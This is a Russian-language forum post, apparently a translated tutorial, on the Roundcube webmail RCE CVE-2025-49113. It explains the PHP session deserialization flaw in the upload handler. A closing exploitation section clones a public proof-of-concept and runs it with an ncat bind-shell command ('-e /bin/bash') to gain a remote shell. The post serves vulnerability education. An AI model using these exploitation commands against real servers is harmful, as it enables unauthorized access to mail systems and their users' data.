Критическое удаленное выполнение кода (RCE) в Roundcube, CVE-2025-49113: ваша электронная почта небезопасна!

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
Добро пожаловать обратно, новобранцы-кибервоины!

Roundcube — один из наиболее широко используемых клиентов веб-почты с открытым исходным кодом, по умолчанию интегрированный в основные платформы хостинга, такие как cPanel и Plesk.

В июне 2025 года была публично раскрыта критическая уязвимость безопасности — CVE-2025-49113. Эта уязвимость позволяет аутентифицированным пользователям выполнять удалённый код (RCE), потенциально подвергая риску более 53 миллионов хостов. Примечательно, что уязвимость оставалась незамеченной почти десять лет, затронув все версии с 1.1.0 по 1.6.10.

В этой статье я рассмотрю основную причину этой уязвимости, принцип ее работы и то, как злоумышленники могут ею воспользоваться.

Понимание первопричины

CVE-2025-49113 — это уязвимость десериализации PHP-объектов, которая эксплуатирует критическую уязвимость в функциях управления сеансами и загрузки файлов Roundcube. Уязвимость присутствует в файле program/actions/settings/upload.php, где недостаточная проверка входных параметров _fromпозволяет злоумышленникам внедрить вредоносные сериализованные PHP-объекты в механизм обработки сеансов приложения.

Уязвимости десериализации объектов PHP возникают, когда приложение принимает ненадежные сериализованные данные и преобразует их в объекты PHP без надлежащей проверки. В процессе десериализации PHP автоматически вызывает определенные «магические методы» для реконструированных объектов, такие как __construct(), __destruct(), или __wakeup(). Если злоумышленник может управлять свойствами этих объектов, он может потенциально инициировать опасные операции во время вызова этих методов, что приведет к выполнению кода.

roundcube_serialization-1024x576.webp


Особая сложность этой уязвимости заключается в том, как она эксплуатирует собственный формат сериализации сессий Roundcube. В отличие от стандартной обработки сессий PHP, Roundcube реализует собственный механизм сериализации, использующий символы вертикальной черты в качестве разделителей и имеющий специальную обработку для некоторых управляющих символов. Эта пользовательская реализация содержит критическую ошибку в обработке восклицательного знака, которую можно эксплуатировать для повреждения структуры сессии и внедрения произвольных сериализованных объектов.

roundcube_session.webp

Подробный анализ потока кода

Уязвимость проявляется через сложную цепочку операций, которая начинается с обработки пользовательского ввода и завершается десериализацией опасного объекта. Когда пользователь загружает файл через интерфейс настроек Roundcube, приложение извлекает _fromпараметр из HTTP-запроса с помощью rcube_utils::get_input_string()функции. Этот параметр указывает контекст или источник операции загрузки и обычно содержит значения типа «edit-identity» или «add-response».

Извлечённое _fromзначение подвергается минимальной обработке: все префиксы «add-» или «edit-» удаляются с помощью регулярного выражения, а все символы точек заменяются дефисами. Обработанное значение становится переменной $type, которая затем используется в качестве ключевого компонента в механизме хранения сеансов. Ключевая проблема заключается в том, что этой обработки недостаточно для предотвращения внедрения вредоносных данных в систему управления сеансами.

roundcube_code_issue-1024x803.webp

Когда приложение вызывает $rcmail->session->append($type . '.files', $id, $attachment), оно запускает собственную логику управления сеансами Roundcube. Если с момента последней перезагрузки сеанса прошло более 0,5 секунды, операция добавления автоматически запускает перезагрузку сеанса для обеспечения целостности данных. Именно эта операция перезагрузки становится уязвимостью для эксплуатации.

Во время перезагрузки сеанса Roundcube вызывает собственную session_decode()функцию для восстановления данных сеанса из их сериализованной формы. Эта реализация содержит критический недостаток в обработке восклицательного знака. При обработке сериализованных данных сеанса функция обрабатывает восклицательный знак как особый индикатор, но не выполняет корректную проверку последующей структуры данных. Эта оплошность позволяет злоумышленникам внедрять вредоносные сериализованные объекты, которые будут обработаны во время реконструкции сеанса.

Эксплуатация уязвимости становится возможной благодаря тому, что злоумышленник может создать вредоносный _fromпараметр, который после минимальной обработки содержит сериализованные данные PHP-объекта. Включение этих данных в сеанс и последующая десериализация во время операции перезагрузки запускает создание экземпляров объектов, контролируемых злоумышленником, что потенциально приводит к выполнению кода.

Эксплуатация

Доказательство концепции (PoC) опубликовано FearsOff на Github :

kali> git clone https://github.com/fearsoff-org/CVE-2025-49113

кали> cd CVE -2025-49113


Для запуска кода PoC необходимо использовать следующие аргументы:

kali> php CVE-2025-49113.php target_url имя пользователя пароль команда

Я буду использовать его ncat -lvnp 4444 -e /bin/bashдля установки оболочки привязки для аргумента команды.

roundcube_poc.webp

Далее, бегите

кали> нк <IP> 4444

roundcube_nc.webp

И мы получили RCE.

Краткое содержание

Эта уязвимость является наглядным напоминанием о том, что даже хорошо зарекомендовавшие себя и широко используемые приложения могут иметь серьезные уязвимости безопасности, которые ставят под угрозу безопасность организации.

Если вы хотите начать изучать веб-хакинг, ознакомьтесь с нашим курсом по взлому веб-приложений — он охватывает все, что вам нужно знать для начала.
 
Назад
Сверху Снизу